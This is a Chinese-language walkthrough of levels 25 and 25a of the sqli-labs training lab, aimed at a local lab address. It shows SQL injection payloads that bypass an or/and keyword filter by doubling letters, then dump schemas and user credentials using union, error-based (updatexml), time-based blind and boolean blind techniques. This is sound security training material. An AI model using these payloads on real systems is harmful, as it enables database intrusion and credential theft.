Waf绕过可大致分为三类: 1.白盒绕过
2. 黑盒绕过
3. fuzz测试
less 25 法一 union 双写绕过过滤
http://192.168.50.100/sqli/Less-25/?id=1
http://192.168.50.100/sqli/Less-25/?id=1‘
http://192.168.50.100/sqli/Less-25/?id=1‘ -- 闭合 返回正常
提示语句
使用order by 2-- 猜列数
查看源码 发现 or和and 都被替换成了空
采用双写得方式 进行绕过~
http://192.168.50.100/sqli/Less-25/?id=1‘ Oorrder by 2 --
http://192.168.50.100/sqli/Less-25/?id=-1‘ union select 1,2,3-- 判断回显位置
http://192.168.50.100/sqli/Less-25/?id=-1‘ union select 1,2,group_concat(schema_name) from infoorrmation_schema.schemata-- 查到库
infoorrmation 双写 绕过
http://192.168.50.100/sqli/Less-25/?id=-1 ’ union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name=0x7573657273-- 查到字段
http://192.168.50.100/sqli/Less-25/?id=-1 ‘ union select 1,2,group_concat(concat_ws(0x7e,username,passwoorrd)) from security.users-- 查到字段值
less25 法二
or->|| 基于报错的注入
http://192.168.50.100/sqli/Less-25/?id=-1‘ || ‘1‘=‘1
使用报错注入
http://192.168.50.100/sqli/Less-25/?id=-1‘ || updatexml(1,concat(0x7e,(database()),0x7e),1)-- 爆出当前数据库
http://192.168.50.100/sqli/Less-25/?id=-1‘ || updatexml(1,concat(0x7e,(select schema_name from infoorrmation_schema.schemata limit 0,1),0x7e),1)--
遍历爆出所有的数据,继续使用即可,这里不可以使用group_concat(),因为数据显示不完整
less25a
此时页面发生显著变化,数据消失,说明存在注入,但是通过$sql语句得知,此处并没有将id值进行包裹
http://192.168.50.100/sqli/Less-25a/?id=1 OoRrder by 3 --
http://192.168.50.100/sqli/Less-25a/?id=-1 union select 1,2,3 -- 判断回显位置 id= 1 和 id= -1 得区别如下
http://192.168.50.100/sqli/Less-25a/?id=-1 union select 1,2,3-- 可以使用联合查询,当我们使用联合查询注入时:
http://192.168.50.100/sqli/Less-25a/?id=-1 union select 1,2,group_concat(schema_name) from infoorrmation_schema.schemata-- 查到库
http://192.168.50.100/sqli/Less-25a/?id=-1 union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name=0x7573657273-- 查到字段
http://192.168.50.100/sqli/Less-25a/?id=-1 union select 1,2,group_concat(concat_ws(0x7e,username,passwoorrd)) from security.users-- 查到字段值
25a 还有其他得方法
当我们使用基于时间的布尔盲注:
http://192.168.50.100/sqli/Less-25a/?id=-1 oorr if(length(database())>1,1,sleep(5))-- 可以通过这个判断当前数据库长度
http://192.168.50.100/sqli/Less-25a/?id=-1 oorrif(left(database(),1)>‘a’,1,sleep(5))-- 判断当前数据库的组成
http://192.168.50.100/sqli/Less-25a/?id=-1 oorr if(left((select schema_name from infoorrmation_schema.schemata limit 0,1),1)>‘a’,1,sleep(5))-- 通过这个判断所有的数据库
依次再进行下去。。。
当我们使用布尔盲注的时候:
http://192.168.50.100/sqli/Less-25a/?id=-1 oorr length(database())>1-- 此时页面返回正常,则得知当前的数据库长度是大于1的
http://192.168.50.100/sqli/Less-25a/?id=-1 oorr left((select schema_name from infoorrmation_schema.schemata limit 0,1),1)>‘a’-- 当前的页面返回正常,说明此时的第一个数据库的第一个字母是大于a的
http://192.168.50.100/sqli/Less-25a/?id=-1 oorr left((select schema_name from infoorrmation_schema.schemata limit 0,1),1)=‘a’-- 此时等于a的时候,页面返回异常,说明我们的语句写的是正确的。
依次再进行下去。。。
通过观察,25关 ‘’ 包裹,25a没有任何包裹,并且也是转义or和and